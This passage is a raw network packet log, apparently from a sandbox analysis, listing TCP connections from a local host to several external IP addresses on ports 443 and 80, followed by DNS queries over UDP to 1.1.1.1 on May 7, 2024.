May 7, 2024 16:12:50.684371948 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.684395075 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.684406996 CEST	49767	443	192.168.2.8	104.17.25.14
May 7, 2024 16:12:50.685527086 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.685590029 CEST	49767	443	192.168.2.8	104.17.25.14
May 7, 2024 16:12:50.685599089 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.685657978 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.685677052 CEST	49767	443	192.168.2.8	104.17.25.14
May 7, 2024 16:12:50.685683966 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.685717106 CEST	49767	443	192.168.2.8	104.17.25.14
May 7, 2024 16:12:50.686077118 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.686129093 CEST	49767	443	192.168.2.8	104.17.25.14
May 7, 2024 16:12:50.686131954 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.686148882 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.686182022 CEST	49767	443	192.168.2.8	104.17.25.14
May 7, 2024 16:12:50.686191082 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.686243057 CEST	49767	443	192.168.2.8	104.17.25.14
May 7, 2024 16:12:50.686249018 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.686270952 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.686325073 CEST	49767	443	192.168.2.8	104.17.25.14
May 7, 2024 16:12:50.687072039 CEST	49767	443	192.168.2.8	104.17.25.14
May 7, 2024 16:12:50.687091112 CEST	443	49767	104.17.25.14	192.168.2.8
May 7, 2024 16:12:50.722606897 CEST	443	49768	152.199.4.44	192.168.2.8
May 7, 2024 16:12:50.722656965 CEST	443	49768	152.199.4.44	192.168.2.8
May 7, 2024 16:12:50.722718000 CEST	49768	443	192.168.2.8	152.199.4.44
May 7, 2024 16:12:50.722724915 CEST	443	49768	152.199.4.44	192.168.2.8
May 7, 2024 16:12:50.722861052 CEST	49768	443	192.168.2.8	152.199.4.44
May 7, 2024 16:12:50.725042105 CEST	49768	443	192.168.2.8	152.199.4.44
May 7, 2024 16:12:50.725058079 CEST	443	49768	152.199.4.44	192.168.2.8
May 7, 2024 16:12:50.727560043 CEST	443	49773	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.727669954 CEST	443	49773	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.727718115 CEST	49773	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.728717089 CEST	443	49771	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.728914022 CEST	443	49771	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.728919029 CEST	443	49770	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.728949070 CEST	443	49770	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.728976965 CEST	49771	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.729002953 CEST	49770	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.729018927 CEST	443	49770	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.729093075 CEST	443	49770	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.729145050 CEST	49770	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.736891031 CEST	49770	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.736903906 CEST	443	49770	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.737663984 CEST	49771	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.737684011 CEST	443	49771	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.738591909 CEST	49773	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.738617897 CEST	443	49773	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.744625092 CEST	49776	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.744654894 CEST	443	49776	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.744770050 CEST	49776	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.745486021 CEST	49776	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.745498896 CEST	443	49776	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.827836990 CEST	443	49769	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.827914000 CEST	443	49769	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.828047991 CEST	49769	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.843228102 CEST	49769	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.843252897 CEST	443	49769	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.867980957 CEST	443	49774	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.868158102 CEST	443	49774	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.868611097 CEST	49774	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.870651960 CEST	49774	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.870666027 CEST	443	49774	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.949636936 CEST	49777	443	192.168.2.8	152.199.4.44
May 7, 2024 16:12:50.949681997 CEST	443	49777	152.199.4.44	192.168.2.8
May 7, 2024 16:12:50.949733019 CEST	49777	443	192.168.2.8	152.199.4.44
May 7, 2024 16:12:50.950352907 CEST	49777	443	192.168.2.8	152.199.4.44
May 7, 2024 16:12:50.950365067 CEST	443	49777	152.199.4.44	192.168.2.8
May 7, 2024 16:12:50.951639891 CEST	49778	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.951674938 CEST	443	49778	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.951745033 CEST	49778	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.952035904 CEST	49779	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.952045918 CEST	443	49779	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.952260017 CEST	49779	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.952541113 CEST	49780	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.952589989 CEST	443	49780	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.952728033 CEST	49780	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.952860117 CEST	49781	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.952884912 CEST	443	49781	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.952960968 CEST	49781	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.953304052 CEST	49782	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.953327894 CEST	443	49782	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.953409910 CEST	49782	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.954122066 CEST	49778	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.954134941 CEST	443	49778	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.954830885 CEST	49782	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.954849005 CEST	443	49782	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.955401897 CEST	49781	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.955414057 CEST	443	49781	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.955997944 CEST	49780	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.956022978 CEST	443	49780	13.107.213.40	192.168.2.8
May 7, 2024 16:12:50.956453085 CEST	49779	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:50.956463099 CEST	443	49779	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.014370918 CEST	443	49776	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.015019894 CEST	49776	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.015036106 CEST	443	49776	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.015584946 CEST	443	49776	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.016194105 CEST	49776	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.016314030 CEST	443	49776	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.016541958 CEST	49776	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.045187950 CEST	443	49772	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.045397997 CEST	443	49772	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.045470953 CEST	49772	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.046776056 CEST	49772	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.046788931 CEST	443	49772	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.054398060 CEST	49783	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.054430008 CEST	443	49783	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.054496050 CEST	49783	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.054946899 CEST	49783	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.054961920 CEST	443	49783	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.060129881 CEST	443	49776	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.215567112 CEST	443	49777	152.199.4.44	192.168.2.8
May 7, 2024 16:12:51.220108986 CEST	443	49778	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.221503973 CEST	443	49781	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.226277113 CEST	443	49779	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.234617949 CEST	443	49782	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.235734940 CEST	443	49780	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.263303041 CEST	49777	443	192.168.2.8	152.199.4.44
May 7, 2024 16:12:51.263333082 CEST	443	49777	152.199.4.44	192.168.2.8
May 7, 2024 16:12:51.263659954 CEST	49781	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.263674974 CEST	443	49781	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.263798952 CEST	49778	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.263820887 CEST	443	49778	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.264050961 CEST	49780	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.264075041 CEST	443	49780	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.264189005 CEST	49782	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.264204025 CEST	443	49782	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.264247894 CEST	49779	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.264256954 CEST	443	49779	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.264539957 CEST	443	49777	152.199.4.44	192.168.2.8
May 7, 2024 16:12:51.264614105 CEST	49777	443	192.168.2.8	152.199.4.44
May 7, 2024 16:12:51.264942884 CEST	443	49778	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.264961004 CEST	49777	443	192.168.2.8	152.199.4.44
May 7, 2024 16:12:51.265031099 CEST	443	49777	152.199.4.44	192.168.2.8
May 7, 2024 16:12:51.265064001 CEST	49778	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.265110970 CEST	443	49781	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.265115976 CEST	443	49780	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.265187979 CEST	49780	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.265233040 CEST	443	49782	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.265269041 CEST	49781	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.265316010 CEST	49782	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.265321016 CEST	443	49779	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.265394926 CEST	49779	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.265422106 CEST	49778	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.265496016 CEST	443	49778	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.265539885 CEST	49777	443	192.168.2.8	152.199.4.44
May 7, 2024 16:12:51.265546083 CEST	443	49777	152.199.4.44	192.168.2.8
May 7, 2024 16:12:51.265952110 CEST	49780	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.266015053 CEST	443	49780	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.266170025 CEST	49781	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.266299009 CEST	443	49781	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.266554117 CEST	49782	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.266635895 CEST	443	49782	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.303020954 CEST	49779	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.303170919 CEST	443	49779	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.310148001 CEST	49778	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.310163021 CEST	443	49778	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.310188055 CEST	49780	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.310204983 CEST	443	49780	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.310256004 CEST	49781	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.310271025 CEST	443	49781	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.310380936 CEST	49782	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.310401917 CEST	443	49782	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.310405970 CEST	49779	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.310424089 CEST	443	49779	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.313656092 CEST	49777	443	192.168.2.8	152.199.4.44
May 7, 2024 16:12:51.323350906 CEST	443	49783	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.351846933 CEST	49783	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.351859093 CEST	443	49783	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.353049994 CEST	443	49783	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.353131056 CEST	49783	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.354358912 CEST	49783	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.354429007 CEST	443	49783	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.356389999 CEST	49783	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.356398106 CEST	443	49783	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.360519886 CEST	49780	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.360521078 CEST	49778	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.360580921 CEST	49779	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.360606909 CEST	49781	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.360610962 CEST	49782	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.398278952 CEST	443	49777	152.199.4.44	192.168.2.8
May 7, 2024 16:12:51.398323059 CEST	443	49777	152.199.4.44	192.168.2.8
May 7, 2024 16:12:51.398387909 CEST	443	49777	152.199.4.44	192.168.2.8
May 7, 2024 16:12:51.398386955 CEST	49777	443	192.168.2.8	152.199.4.44
May 7, 2024 16:12:51.398463964 CEST	49777	443	192.168.2.8	152.199.4.44
May 7, 2024 16:12:51.399597883 CEST	49777	443	192.168.2.8	152.199.4.44
May 7, 2024 16:12:51.399614096 CEST	443	49777	152.199.4.44	192.168.2.8
May 7, 2024 16:12:51.401191950 CEST	443	49778	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.401206970 CEST	443	49778	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.401253939 CEST	49778	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.401268959 CEST	443	49778	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.401374102 CEST	49778	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.401632071 CEST	443	49781	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.401731014 CEST	443	49781	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.401828051 CEST	49781	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.402709007 CEST	49778	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.402728081 CEST	443	49778	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.405605078 CEST	49781	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.405632019 CEST	443	49781	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.407397032 CEST	49783	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.407661915 CEST	443	49779	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.407802105 CEST	443	49779	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.407860994 CEST	49779	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.408850908 CEST	49779	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.408858061 CEST	443	49779	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.414176941 CEST	443	49780	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.414321899 CEST	443	49780	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.414388895 CEST	49780	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.414968967 CEST	443	49782	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.415163040 CEST	443	49782	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.415224075 CEST	49782	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.416018009 CEST	49780	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.416030884 CEST	443	49780	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.418525934 CEST	49782	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.418540955 CEST	443	49782	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.479144096 CEST	443	49776	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.479264975 CEST	443	49776	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.479334116 CEST	49776	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.497963905 CEST	443	49783	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.498126984 CEST	443	49783	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.498178005 CEST	49783	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.503786087 CEST	49776	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.503798962 CEST	443	49776	13.107.213.40	192.168.2.8
May 7, 2024 16:12:51.772113085 CEST	49783	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:51.772147894 CEST	443	49783	13.107.213.40	192.168.2.8
May 7, 2024 16:12:52.587658882 CEST	49785	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:52.587711096 CEST	443	49785	13.107.213.40	192.168.2.8
May 7, 2024 16:12:52.587899923 CEST	49785	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:52.588128090 CEST	49785	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:52.588135004 CEST	443	49785	13.107.213.40	192.168.2.8
May 7, 2024 16:12:52.829622984 CEST	443	49766	91.108.102.252	192.168.2.8
May 7, 2024 16:12:52.829736948 CEST	443	49766	91.108.102.252	192.168.2.8
May 7, 2024 16:12:52.829796076 CEST	49766	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:52.837403059 CEST	49766	443	192.168.2.8	91.108.102.252
May 7, 2024 16:12:52.837429047 CEST	443	49766	91.108.102.252	192.168.2.8
May 7, 2024 16:12:52.861319065 CEST	443	49785	13.107.213.40	192.168.2.8
May 7, 2024 16:12:52.903748989 CEST	49785	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:52.933321953 CEST	49785	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:52.933351040 CEST	443	49785	13.107.213.40	192.168.2.8
May 7, 2024 16:12:52.933896065 CEST	443	49785	13.107.213.40	192.168.2.8
May 7, 2024 16:12:52.934986115 CEST	49785	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:52.935060024 CEST	443	49785	13.107.213.40	192.168.2.8
May 7, 2024 16:12:52.935245037 CEST	49785	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:52.975363016 CEST	49785	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:52.975374937 CEST	443	49785	13.107.213.40	192.168.2.8
May 7, 2024 16:12:53.045195103 CEST	443	49785	13.107.213.40	192.168.2.8
May 7, 2024 16:12:53.045272112 CEST	443	49785	13.107.213.40	192.168.2.8
May 7, 2024 16:12:53.045353889 CEST	49785	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:53.046339035 CEST	49785	443	192.168.2.8	13.107.213.40
May 7, 2024 16:12:53.046355009 CEST	443	49785	13.107.213.40	192.168.2.8
May 7, 2024 16:12:57.235991001 CEST	49704	80	192.168.2.8	199.232.214.172
May 7, 2024 16:12:57.322390079 CEST	80	49704	199.232.214.172	192.168.2.8
May 7, 2024 16:12:57.322407007 CEST	80	49704	199.232.214.172	192.168.2.8
May 7, 2024 16:12:57.322454929 CEST	49704	80	192.168.2.8	199.232.214.172
May 7, 2024 16:13:03.332611084 CEST	49786	443	192.168.2.8	52.165.165.26
May 7, 2024 16:13:03.332653046 CEST	443	49786	52.165.165.26	192.168.2.8
May 7, 2024 16:13:03.332725048 CEST	49786	443	192.168.2.8	52.165.165.26
May 7, 2024 16:13:03.333220005 CEST	49786	443	192.168.2.8	52.165.165.26
May 7, 2024 16:13:03.333233118 CEST	443	49786	52.165.165.26	192.168.2.8
May 7, 2024 16:13:03.748317957 CEST	443	49786	52.165.165.26	192.168.2.8
May 7, 2024 16:13:03.748399973 CEST	49786	443	192.168.2.8	52.165.165.26
May 7, 2024 16:13:03.751209974 CEST	49786	443	192.168.2.8	52.165.165.26
May 7, 2024 16:13:03.751223087 CEST	443	49786	52.165.165.26	192.168.2.8
May 7, 2024 16:13:03.751526117 CEST	443	49786	52.165.165.26	192.168.2.8
May 7, 2024 16:13:03.753864050 CEST	49786	443	192.168.2.8	52.165.165.26
May 7, 2024 16:13:03.800117016 CEST	443	49786	52.165.165.26	192.168.2.8
May 7, 2024 16:13:04.151288986 CEST	443	49786	52.165.165.26	192.168.2.8
May 7, 2024 16:13:04.151319027 CEST	443	49786	52.165.165.26	192.168.2.8
May 7, 2024 16:13:04.151333094 CEST	443	49786	52.165.165.26	192.168.2.8
May 7, 2024 16:13:04.151388884 CEST	49786	443	192.168.2.8	52.165.165.26
May 7, 2024 16:13:04.151410103 CEST	443	49786	52.165.165.26	192.168.2.8
May 7, 2024 16:13:04.151427031 CEST	49786	443	192.168.2.8	52.165.165.26
May 7, 2024 16:13:04.151468992 CEST	49786	443	192.168.2.8	52.165.165.26
May 7, 2024 16:13:04.151736975 CEST	443	49786	52.165.165.26	192.168.2.8
May 7, 2024 16:13:04.151801109 CEST	443	49786	52.165.165.26	192.168.2.8
May 7, 2024 16:13:04.151804924 CEST	49786	443	192.168.2.8	52.165.165.26
May 7, 2024 16:13:04.151813984 CEST	443	49786	52.165.165.26	192.168.2.8
May 7, 2024 16:13:04.151823997 CEST	443	49786	52.165.165.26	192.168.2.8
May 7, 2024 16:13:04.151853085 CEST	49786	443	192.168.2.8	52.165.165.26
May 7, 2024 16:13:04.151870966 CEST	49786	443	192.168.2.8	52.165.165.26
May 7, 2024 16:13:04.155009985 CEST	49786	443	192.168.2.8	52.165.165.26
May 7, 2024 16:13:04.155031919 CEST	443	49786	52.165.165.26	192.168.2.8
May 7, 2024 16:13:04.155051947 CEST	49786	443	192.168.2.8	52.165.165.26
May 7, 2024 16:13:04.155059099 CEST	443	49786	52.165.165.26	192.168.2.8
May 7, 2024 16:13:15.768975019 CEST	49788	443	192.168.2.8	142.250.72.100
May 7, 2024 16:13:15.769030094 CEST	443	49788	142.250.72.100	192.168.2.8
May 7, 2024 16:13:15.769107103 CEST	49788	443	192.168.2.8	142.250.72.100
May 7, 2024 16:13:15.769325018 CEST	49788	443	192.168.2.8	142.250.72.100
May 7, 2024 16:13:15.769340992 CEST	443	49788	142.250.72.100	192.168.2.8
May 7, 2024 16:13:15.952279091 CEST	443	49788	142.250.72.100	192.168.2.8
May 7, 2024 16:13:15.952663898 CEST	49788	443	192.168.2.8	142.250.72.100
May 7, 2024 16:13:15.952703953 CEST	443	49788	142.250.72.100	192.168.2.8
May 7, 2024 16:13:15.953044891 CEST	443	49788	142.250.72.100	192.168.2.8
May 7, 2024 16:13:15.953444958 CEST	49788	443	192.168.2.8	142.250.72.100
May 7, 2024 16:13:15.953531027 CEST	443	49788	142.250.72.100	192.168.2.8
May 7, 2024 16:13:16.001928091 CEST	49788	443	192.168.2.8	142.250.72.100
May 7, 2024 16:13:25.947431087 CEST	443	49788	142.250.72.100	192.168.2.8
May 7, 2024 16:13:25.947513103 CEST	443	49788	142.250.72.100	192.168.2.8
May 7, 2024 16:13:25.947566986 CEST	49788	443	192.168.2.8	142.250.72.100
May 7, 2024 16:13:27.634673119 CEST	49788	443	192.168.2.8	142.250.72.100
May 7, 2024 16:13:27.634710073 CEST	443	49788	142.250.72.100	192.168.2.8
May 7, 2024 16:14:15.831932068 CEST	49790	443	192.168.2.8	142.250.72.100
May 7, 2024 16:14:15.831975937 CEST	443	49790	142.250.72.100	192.168.2.8
May 7, 2024 16:14:15.832159996 CEST	49790	443	192.168.2.8	142.250.72.100
May 7, 2024 16:14:15.832587957 CEST	49790	443	192.168.2.8	142.250.72.100
May 7, 2024 16:14:15.832598925 CEST	443	49790	142.250.72.100	192.168.2.8
May 7, 2024 16:14:16.018301964 CEST	443	49790	142.250.72.100	192.168.2.8
May 7, 2024 16:14:16.018699884 CEST	49790	443	192.168.2.8	142.250.72.100
May 7, 2024 16:14:16.018718958 CEST	443	49790	142.250.72.100	192.168.2.8
May 7, 2024 16:14:16.019108057 CEST	443	49790	142.250.72.100	192.168.2.8
May 7, 2024 16:14:16.019460917 CEST	49790	443	192.168.2.8	142.250.72.100
May 7, 2024 16:14:16.019525051 CEST	443	49790	142.250.72.100	192.168.2.8
May 7, 2024 16:14:16.064394951 CEST	49790	443	192.168.2.8	142.250.72.100
May 7, 2024 16:14:26.016946077 CEST	443	49790	142.250.72.100	192.168.2.8
May 7, 2024 16:14:26.017033100 CEST	443	49790	142.250.72.100	192.168.2.8
May 7, 2024 16:14:26.017132998 CEST	49790	443	192.168.2.8	142.250.72.100
May 7, 2024 16:14:27.081914902 CEST	443	49703	23.206.229.226	192.168.2.8
May 7, 2024 16:14:27.081937075 CEST	443	49703	23.206.229.226	192.168.2.8
May 7, 2024 16:14:27.081995964 CEST	49703	443	192.168.2.8	23.206.229.226
May 7, 2024 16:14:27.082040071 CEST	49703	443	192.168.2.8	23.206.229.226
May 7, 2024 16:14:27.407490969 CEST	49790	443	192.168.2.8	142.250.72.100
May 7, 2024 16:14:27.407522917 CEST	443	49790	142.250.72.100	192.168.2.8

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 7, 2024 16:12:11.055155993 CEST	51217	53	192.168.2.8	1.1.1.1
May 7, 2024 16:12:11.055483103 CEST	50082	53	192.168.2.8	1.1.1.1
May 7, 2024 16:12:11.055994034 CEST	60164	53	192.168.2.8	1.1.1.1
May 7, 2024 16:12:11.056333065 CEST	57134	53	192.168.2.8	1.1.1.1
May 7, 2024 16:12:11.127415895 CEST	53	52428	1.1.1.1	192.168.2.8
May 7, 2024 16:12:11.140058994 CEST	53	65451	1.1.1.1	192.168.2.8
May 7, 2024 16:12:11.142252922 CEST	53	51217	1.1.1.1	192.168.2.8
May 7, 2024 16:12:11.142271996 CEST	53	50082	1.1.1.1	192.168.2.8
May 7, 2024 16:12:11.306855917 CEST	53	57134	1.1.1.1	192.168.2.8
May 7, 2024 16:12:11.361536026 CEST	53	60164	1.1.1.1	192.168.2.8
May 7, 2024 16:12:11.660701036 CEST	53	49376	1.1.1.1	192.168.2.8
May 7, 2024 16:12:12.072695017 CEST	60695	53	192.168.2.8	1.1.1.1
May 7, 2024 16:12:12.072858095 CEST	49568	53	192.168.2.8	1.1.1.1
May 7, 2024 16:12:12.241777897 CEST	53497	53	192.168.2.8	1.1.1.1
May 7, 2024 16:12:12.241928101 CEST	53550	53	192.168.2.8	1.1.1.1
May 7, 2024 16:12:12.323340893 CEST	53	49568	1.1.1.1	192.168.2.8
May 7, 2024 16:12:12.344378948 CEST	53	53550	1.1.1.1	192.168.2.8
May 7, 2024 16:12:12.345851898 CEST	53	53497	1.1.1.1	192.168.2.8
May 7, 2024 16:12:12.365333080 CEST	53	60695	1.1.1.1	192.168.2.8
May 7, 2024 16:12:13.214878082 CEST	57481	53	192.168.2.8	1.1.1.1
May 7, 2024 16:12:13.214878082 CEST	62546	53	192.168.2.8	1.1.1.1
May 7, 2024 16:12:13.215282917 CEST	60348	53	192.168.2.8	1.1.1.1
May 7, 2024 16:12:13.215476036 CEST	64399	53	192.168.2.8	1.1.1.1
May 7, 2024 16:12:13.301292896 CEST	53	57481	1.1.1.1	192.168.2.8
May 7, 2024 16:12:13.301765919 CEST	53	62546	1.1.1.1	192.168.2.8
May 7, 2024 16:12:13.301919937 CEST	53	60348	1.1.1.1	192.168.2.8
May 7, 2024 16:12:13.302550077 CEST	53	64399	1.1.1.1	192.168.2.8
